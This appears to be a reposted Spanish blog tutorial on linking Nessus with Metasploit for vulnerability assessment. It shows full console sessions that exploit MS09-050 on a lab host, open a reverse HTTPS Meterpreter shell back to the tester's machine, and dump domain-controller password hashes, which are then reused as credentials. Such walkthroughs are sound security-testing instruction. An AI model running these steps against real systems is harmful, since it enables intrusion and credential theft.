fuente,: http://hacknode.blogspot.com.ar/2011/08/utilizando-nessus-con-metasploit.html

En este post cubriremos como iniciar análisis de Nessus desde Metasploit. Iniciando con Nessus 4, Tenable introdujo la API Nessus, la cual permite que los usuarios puedan interactuar con un servidor Nessus utilizando XMLRPC. Zate Berg tomó la iniciativa escribiéndo módulos en Metasploit que, junto con otras cosas, pueden lanzar un análisis de Nessus e importar los resultados en la base de datos de Metasploit. Desde alli, podemos encontrar que máquinas son vulnerables a explotación, explotarlas, recolectar los hashes de contraseñas y entonces utilizar esos hashes para iniciar análisis de Nessus con credenciales.

Configurando Nessus
El primer paso requerido para utilizar Nessus con Metasploit es autenticarse en Nessus y crear un usuario para Metasploit. En este ejemplo, hemos creado un usuario llamado "msf" con la contraseña "metasploit".


Estando logueados como "msf", creamos una política llamada "Windows Server Scan". La política tiene todos los plugins habilitados y la mayoría de los parámetros predeterminados los dejamos como vienen ya que queremos iniciar análisis de vulnerabilidades a nivel de la red.

Configurando la Base de Datos de Metasploit
Lo primero que debemos hacer en Metasploit es configurar la base de datos. Hay algunos pasos a seguir antes de hacer esto y los siguientes artículos pueden sernos de ayuda:

BT5 + Metasploit + PostgreSQL
BT5 + Metasploit + MySQL standalone server

Una vez la base de datos esté configurada, necesitaremos habilitar su driver y conectarnos a esta. En el siguiente ejemplo, usaremos PostgreSQL:

msf > db_driver postgresql
msf > db_connect postgres:metasploit@127.0.0.1/metasploit
msf > nessus_connect msf:metasploit@127.0.0.1:8834 ok

• Connecting to https://127.0.0.1:8834/ as msf
• Authenticated[/b]
  
  Iniciando un Análisis de Nessus
  El siguiente paso es cargar el módulo de Nessus y listar las políticas disponibles en el servidor Nessus utilizando el comando "nessus_policy_list":
  
  msf > load nessus
  
  • Nessus Bridge for Nessus 4.2.x
  • Type nessus_help for a command listing
  • Successfully loaded plugin: nessus
  
  msf exploit(ms09_050_smb2_negotiate_func_index) > nessus_policy_list
  
  • Nessus Policy List
  ID  Name                        Comments
  --  ----                        --------
  -4  Internal Network Scan
  -3  Web App Tests
  -2  Prepare for PCI DSS audits
  -1  External Network Scan
  1   Windows Server Scan
  
  Las políticas incluidas en Nessus se muestran con números negativos, y las políticas creadas por el usuario se muestran con un número positivo, empezando en 1. "Windows Server Scan" es la política que hemos creado y utilizaremos para este ejemplo. Con esta política podemos inciar un nuevo análisis utilizando el comando "nessus_scan_new":
  
  msf > nessus_scan_new 1 win2008-msf 192.168.1.180
  
  • Creating scan from policy number 1, called "win2008-msf" and scanning 192.168.1.180
  • Scan started.  uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2[/b]
    
    Esto lanza un análisis en el servidor Nessus y analiza la máquina 192.168.1.180 utilizando nuestra política. Podemos verificar el estado del análisis utilizando el comando "nessus_scan_status":
    
    msf > nessus_scan_status
    
    • Running Scans
    Scan ID                                               Name         Owner  Started            Status   Current Hosts  Total Hosts
    -------                                               ----         -----  -------            ------   -------------  -----------
    c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  msf    03:48 Jun 01 2011  running  0              1
    *Snip*
    
    Ya que hemos identificado el reporte que queremos utilizar, podemos ejecutar el comando "nessus_report_get" para importar los resultados y almacenarlos en la base de datos de Metasploit:
    
    msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
    
    • importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
    • 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1  Done!
    • Done[/b]
      
      Una vez que los resultados hayan sido importados, podemos revisar las vulnerabilidades disponibles utilizando el comando "db_vulns":
      
      msf exploit(ms09_050_smb2_negotiate_func_index) > db_vulns
      
      • Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=5355 proto=udp name=Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513
      • Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=593 proto=tcp name=Service Detection refs=NSS-22964
      • Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=445 proto=tcp name=MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check) refs=CVE-2009-3103,BID-36299,CWE-399,OSVDB-57799,MSFT-MS09-050,MSF-Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference,NSS-40887[/b]
        
        En los resultados para esta máquina en particular, Nessus reportó que no tenía el parche del Boletín de Seguridad de Microsoft MS09-050. Para ver si Metaspoit contiene un exploit para dicha vulnerabilidad, ejecutamos el comando "search exploits 09-050":
        
        msf > search exploits 09-050
        Matching Modules
        ================
          Name                                                       Disclosure Date  Rank    Description
           ----                                                       ---------------  ----    -----------
           exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
        
        Como podemos ver, Metasploit tiene sin duda tal exploit. El siguiente paso es utilizarlo, junto con un payload, para comprometer el sistema:
        
        msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
        msf exploit(ms09_050_smb2_negotiate_func_index) >
        msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 192.168.1.180
        RHOST => 192.168.1.180
        msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_https
        PAYLOAD => windows/meterpreter/reverse_https
        msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
        
        • Started HTTPS reverse handler on https://192.168.1.242:8443/
        • Connecting to the target (192.168.1.180:445)...
        • Sending the exploit packet (951 bytes)...
        • Waiting up to 180 seconds for exploit to trigger...
        • 192.168.1.180:54287 Request received for /AFIgx...
        • 192.168.1.180:54287 Staging connection for target FIgx received...
        • Patching Target ID FIgx into DLL
        • 192.168.1.180:54288 Request received for /BFIgx...
        • 192.168.1.180:54288 Stage connection for target FIgx received...
        • Meterpreter session 1 opened (192.168.1.242:8443 -> 192.168.1.180:54288) at Wed Jun 01 04:15:35 -0400 2011
        meterpreter >
        
        Los comandos anteriores establecen el objetivo a atacar (RHOST) y la maquina a llamar de vuelta una vez el sistema objetivo haya sido comprometido (LHOST). Hemos seleccionado un payload Meterpreter de conexión reversa HTTPS, el cual se conectará de vuelta a nuestra instancia de Metasploit en el puerto 8443. La siguiente tarea es extraer los hashes de contraseñas del sistema remoto. Para esto seleccionaremos un nuevo módulo llamado "smart_hashdump". Seleccionamos este módulo porque el sistema remoto es un controlados de dominio de Directorio Activo y tiene unas cuantas miles de cuentas de usuario. smart_hashdump nos permite extraer los hashes de las contraseñas y guardarlos en un archivo:
        
        meterpreter > run post/smart_hasdump SESSION=1,GETSYSTEM=true
        
        • Running module against WIN-8BPIQBRO0CX
        • Hashes will be saved to the Database if one is connected.
        • Hashes will be saved in loot in John Password File format to:
        • /root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt
        •      This host is a Domain Controller!
        • Dumping password hashes...[/b]
          
          Hechémosle un vistazo a la primera línea en el archivo "/root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt" y veremos algo como esto:
          
          Administrator:500:aad3b435b51404eeaad3b435b51404ee:33834686d2a3f2dcb675a31b773c3a8bkrbtgt:
          
          
          Esta es la contraseña de la cuenta del Administrador local. Copiamos el segundo campo (resaltado en negrilla) el cual corresponde a la contraseña NTLM en hash del usuario Administrador local. Luego, configuramos una nueva política de Nessus, y utilizaremos el hash NTLM obtenido como contraseña en el campo "SMB password":
          
          
          
          Debemos asegurarnos definir el campo "SMB password type" como "NTLM Hash" y el campo "SMB account" como "Administrator".
          
          Para comparar, el número de vulnerabilidades halladas mediante el análisis del sistema con credenciales y sin ellas, se muestra a continuación:
          
          Con credenciales:
          
          
          
          Sin credenciales:
          
          
          
          
          Conclusión
          Es muy agradable ver la API de Nessus ser aprovechada para ayudar a los usuarios a ser más productivos. El puente de Nessus para Metasploit es un grán proyecto de la comunidad de usuarios, que ha permitido que Nessus se integre con otras herramientas populares de seguridad. Incluso es posible automatizar el proceso anterior utilizando un script que ejecuta Nessus, inicia un análisis, y explota las vulnerabilidades de forma remota. Sin embargo, vemos que un análisis con credenciales da como resultado un informe mucho más completo de las vulnerabilidades presentes en el sistema. En última instancia, se convierte en una elección lo que queramos obtener de las evaluaciones de la seguridad y la mayoría de personas desarrollarán el proceso de manera propia.